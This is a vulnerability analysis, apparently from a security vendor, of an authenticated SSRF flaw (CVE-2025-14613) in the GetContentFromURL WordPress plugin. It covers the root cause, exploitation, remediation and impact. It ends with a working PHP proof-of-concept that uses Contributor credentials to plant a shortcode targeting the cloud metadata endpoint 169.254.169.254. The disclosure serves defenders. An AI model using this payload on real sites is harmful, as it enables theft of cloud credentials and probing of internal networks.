Atomic Edge analysis of CVE-2025-14613 (metadata-based):
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the GetContentFromURL WordPress plugin, version 1.0. The flaw resides in the plugin’s shortcode handler for the `[gcfu]` tag, which insecurely fetches remote content using a user-supplied URL. The CVSS score of 7.2 (High) reflects the network attack vector, low attack complexity, and impacts on confidentiality and integrity across security boundaries.
Atomic Edge research infers the root cause is improper input validation and the use of an unsafe HTTP client. The description confirms the plugin uses `wp_remote_get()` instead of `wp_safe_remote_get()` to process the ‘url’ attribute from the shortcode. This function choice does not restrict requests to internal network resources. The CWE-918 classification confirms the core issue is a failure to validate or sanitize user-controlled URLs before using them to initiate server-side HTTP requests. These conclusions are inferred from the CWE and standard WordPress patterns, as no source code diff is available for confirmation.
Exploitation requires an attacker to have Contributor-level access or higher to the WordPress site. The attacker can embed the `[gcfu]` shortcode into a post or page with a malicious ‘url’ attribute. When the post is viewed, the plugin’s shortcode callback executes `wp_remote_get()` on the supplied URL. Attackers can target internal HTTP services, such as metadata endpoints (e.g., http://169.254.169.254/), database admin panels, or other unexposed web applications. The payload is a simple shortcode: `[gcfu url=”http://internal-ip:port/path”]`.
Remediation requires replacing `wp_remote_get()` with `wp_safe_remote_get()` to block requests to internal IP addresses and localhost. The plugin should also implement an allowlist of permitted URL schemes (likely only http and https) and domains, or implement strong validation using `wp_http_validate_url()`. A capability check should confirm the user has the `unfiltered_html` permission to use the shortcode, though this is a secondary control. The primary fix is using the safe HTTP fetching function.
The impact of successful exploitation includes unauthorized access to internal services. Attackers can read sensitive data from cloud metadata services, interact with internal APIs, or perform attacks against adjacent systems. This can lead to information disclosure, internal network mapping, and in some cases, remote code execution if the internal service accepts malicious payloads. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect resources beyond the vulnerable plugin itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14613 - GetContentFromURL <= 1.0 - Authenticated (Contributor+) Server-Side Request Forgery via 'url' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2025-14613.
* Assumptions:
* 1. The attacker has valid Contributor-level WordPress credentials.
* 2. The plugin's shortcode is [gcfu] with a 'url' attribute.
* 3. The shortcode can be inserted into a post draft via the WordPress editor or REST API.
* This script simulates an authenticated user creating a post with a malicious shortcode.
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// Internal service to target via SSRF (e.g., AWS metadata endpoint)
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
// Step 1: Authenticate to WordPress and obtain a nonce for post creation.
// Use the REST API to get a nonce for the 'post' context.
$login_url = $target_url . '/wp-login.php';
$rest_url = $target_url . '/wp-json/wp/v2/';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $rest_url . 'posts',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERPWD => $username . ':' . $password,
CURLOPT_HTTPAUTH => CURLAUTH_BASIC,
CURLOPT_SSL_VERIFYPEER => false, // For testing only
CURLOPT_SSL_VERIFYHOST => 0
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 401) {
// If REST authentication fails, attempt to get a session cookie via wp-login.
echo "[!] Basic auth failed. Attempting form login...n";
// This is a simplified example; a full login flow would require parsing cookies and nonces.
die("Full login flow not implemented in this PoC. Ensure REST API authentication is configured or update script.");
}
// Step 2: Create a new post with the malicious shortcode.
$post_data = [
'title' => 'Test Post SSRF',
'content' => '[gcfu url="' . $ssrf_target . '"]',
'status' => 'draft' // Contributor can only create drafts.
];
curl_setopt_array($ch, [
CURLOPT_URL => $rest_url . 'posts',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($post_data),
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERPWD => $username . ':' . $password,
CURLOPT_HTTPAUTH => CURLAUTH_BASIC
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 201) {
$response_data = json_decode($response, true);
$post_id = $response_data['id'];
$post_link = $response_data['link'];
echo "[+] Post created (ID: $post_id).n";
echo "[+] Visit $post_link to trigger the SSRF request to $ssrf_target.n";
echo "[+] The plugin will make a server-side request when the page loads.n";
} else {
echo "[-] Failed to create post. HTTP Code: $http_coden";
echo "Response: $responsen";
}
curl_close($ch);
?>
